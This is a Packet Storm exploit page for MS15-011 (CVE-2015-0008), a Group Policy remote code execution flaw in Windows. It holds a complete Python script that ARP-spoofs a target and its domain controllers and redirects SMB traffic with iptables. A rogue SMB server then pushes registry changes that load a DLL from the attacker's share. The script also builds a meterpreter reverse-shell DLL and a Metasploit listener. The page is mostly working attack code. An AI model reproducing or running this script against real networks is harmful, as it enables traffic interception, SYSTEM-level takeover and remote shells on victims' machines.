exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Microsoft Windows Server 2012 Group Policy Remote Code Execution

Microsoft Windows Server 2012 Group Policy Remote Code Execution
Posted Oct 29, 2019
Authored by Thomas Zuk

Microsoft Windows Server 2012 suffers from a Group Policy remote code execution vulnerability.

tags | exploit, remote, code execution
systems | windows
advisories | CVE-2015-0008
SHA-256 | ccee66c4da6a5faeef607aa1f1de3ca83459c118bc6de48ff5ae4627c94bc717

Microsoft Windows Server 2012 Group Policy Remote Code Execution

Change Mirror Download
# Exploit Title: Microsoft Windows Server 2012 - 'Group Policy' Remote Code Execution
# Date: 2019-10-28
# Exploit Author: Thomas Zuk
# Version: Windows Server 2003, Windows Vista, Windows Server 2008, Windows 7, Windows Server 2008 R2, Windows 8, Windows Server 2012,
# Windows RT, Windows 8.1, Windows Server 2012 R2, and Windows RT 8.1
# Tested on: Windows 7 , Windows Server 2012
# CVE : CVE-2015-0008
# Type: Remote
# Platform: Windows

# Description: While there exists multiple advisories for the vulnerability and video demos of
# successful exploitation there is no public exploit-code for MS15-011 (CVE-2015-0008). This exploit code
# targets vulnerable systems in order to modify registry keys to disable SMB signing, achieve SYSTEM level
# remote code execution (AppInit_DLL) and a user level remote code execution (Run Keys).

#!/usr/bin/python3

import argparse
import os
import subprocess
import socket
import fcntl
import struct

# MS15-011 Exploit.
# For more information and any updates/additions this exploit see the following Git Repo: https://github.com/Freakazoidile/Exploit_Dev/tree/master/MS15-011
# Example usage: python3 ms15-011.py -t 172.66.10.2 -d 172.66.10.10 -i eth1
# Example usage with multiple DC's: python3 ms15-011.py -t 172.66.10.2 -d 172.66.10.10 -d 172.66.10.11 -d 172.66.10.12 -i eth1
# Questions @Freakazoidile on twitter or make an issue on the GitHub repo. Enjoy.

def arpSpoof(interface, hostIP, targetIP):
arpCmd = "arpspoof -i %s %s %s " % (interface, hostIP, targetIP)
arpArgs = arpCmd.split()
print("Arpspoofing: %s" % (arpArgs))
p = subprocess.Popen(arpArgs, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)


def karmaSMB(hostIP):
print("reverting GptTmpl.inf from bak")
os.system("cp GptTmpl.inf.bak GptTmpl.inf")
appInit = 'MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\AppInit_DLLs=1,"\\\\%s\\SYSVOL\\share.dll"\r\n' % (hostIP)
CURunKey = 'MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Key=1,"rundll32.exe \\\\%s\\SYSVOL\\share.dll",1\r\n' % (hostIP)
f = open("GptTmpl.inf","a", encoding='utf-16le')
f.write(appInit)
f.write(CURunKey)
f.close()

path = os.getcwd()

fConfig = open("smb.conf","w")
fConfig.write("ini = "+path+"/gpt.ini\ninf = "+path+"/GptTmpl.inf\ndll = "+path+"/shell.dll\n")
fConfig.close()

karmaCmd = "python karmaSMB.py -config smb.conf -smb2support ./ "
os.system(karmaCmd)


def iptables_config(targetIP, hostIP):
print('[+] Running command: echo "1" > /proc/sys/net/ipv4/ip_forward')
print('[+] Running command: iptables -t nat -A PREROUTING -p tcp -s %s --destination-port 445 -j DNAT --to-destination %s' % (targetIP, hostIP))
print('[+] Running command: iptables -t nat -A PREROUTING -p tcp -s %s --destination-port 139 -j DNAT --to-destination %s' % (targetIP, hostIP))
print('[+] Running command: iptables -t nat -A POSTROUTING -j MASQUERADE')
os.system('echo "1" > /proc/sys/net/ipv4/ip_forward')
os.system('iptables -t nat -A PREROUTING -p tcp -s %s --destination-port 445 -j DNAT --to-destination %s' % (targetIP, hostIP))
os.system('iptables -t nat -A PREROUTING -p tcp -s %s --destination-port 139 -j DNAT --to-destination %s' % (targetIP, hostIP))
os.system('iptables -t nat -A POSTROUTING -j MASQUERADE')


def get_interface_address(ifname):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
return socket.inet_ntoa(fcntl.ioctl(s.fileno(), 0x8915, struct.pack('256s', bytes(ifname[:15], 'utf-8')))[20:24])

def generatePayload(lhost, lport):
print("generating payload(s) and metasploit resource file")
msfDll = "msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=%s lport=%s -f dll -o shell.dll" % (lhost, lport)
os.system(msfDll)
msfResource = "use multi/handler\nset payload windows/x64/meterpreter/reverse_tcp\nset lhost %s\nset lport %s\nset exitonsession false\nexploit -j\n" % (lhost, lport)
print("metasploit resource script: %s" % msfResource)
print ("metasploit resource script written to meta_resource.rc type 'msfconsole -r meta_resource.rc' to launch metasploit and stage a listener automatically")

file = open("meta_resource.rc", "w+")
file.write(msfResource)
file.close()



if __name__ == '__main__':

parser = argparse.ArgumentParser()

# Add arguments
parser.add_argument("-t", "--target_ip", help="The IP of the target machine vulnerable to ms15-011/14", required=True)
parser.add_argument("-d", "--domain_controller", help="The IP of the domain controller(s) in the target domain. Use this argument multiple times when multiple domain contollers are preset.\nE.G: -d 172.66.10.10 -d 172.66.10.11", action='append', required=True)
parser.add_argument("-i", "--interface", help="The interface to use. E.G eth0", required=True)
parser.add_argument("-l", "--lhost", help="The IP to listen for incoming connections on for reverse shell. This is optional, uses the IP from the provided interface by default. E.G 192.168.5.1", required=False)
parser.add_argument("-p", "--lport", help="The port to listen connections on for reverse shell. If not specified 4444 is used. E.G 443", required=False)

args = parser.parse_args()

# Check for KarmaSMB and GptTmpl.inf.bak, if missing download git repo with these files.
print ("checking for missing file(s)")
if not os.path.isfile("karmaSMB.py") and not os.path.isfile("GptTmpl.inf.bak"):
print("Requirements missing. Downloading required files from github")
os.system("git clone https://github.com/Freakazoidile/MS15-011-Files")
os.system("mv MS15-011-Files/* . && rm -rf MS15-011-Files/")

# Get the provided interfaces IP address
ipAddr = get_interface_address(args.interface)

if args.lhost is not None:
lhost = args.lhost
else:
lhost = ipAddr

if args.lport is not None:
lport = args.lport
else:
lport = '4444'


dcSpoof = ""
dcCommaList = ""
count = 0

# loop over the domain controllers, poison each and target the host IP
# create a comma separated list of DC's
# create a "-t" separate list of DC's for use with arpspoof
for dc in args.domain_controller:
dcSpoof += "-t %s " % (dc)
if count > 0:
dcCommaList += ",%s" % (dc)
else:
dcCommaList += "%s" % (dc)

arpSpoof(args.interface, dc, "-t %s" % (args.target_ip))
count += 1

# arpspoof the target and all of the DC's
arpSpoof(args.interface, args.target_ip, dcSpoof)

# generate payloads
generatePayload(lhost, lport)

# Setup iptables forwarding rules
iptables_config(args.target_ip, ipAddr)

#run Karmba SMB Server
karmaSMB(ipAddr)


print("Targeting %s by arp spoofing %s and domain controllers: %s " % (args.target_ip, args.target_ip, args.domain_controllers))
print("If you interupt/stop the exploit ensure you stop all instances of arpspoof and flush firewall rules!")
Login or Register to add favorites

File Archive:

October 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    39 Files
  • 2
    Oct 2nd
    23 Files
  • 3
    Oct 3rd
    18 Files
  • 4
    Oct 4th
    20 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    17 Files
  • 8
    Oct 8th
    0 Files
  • 9
    Oct 9th
    0 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    0 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close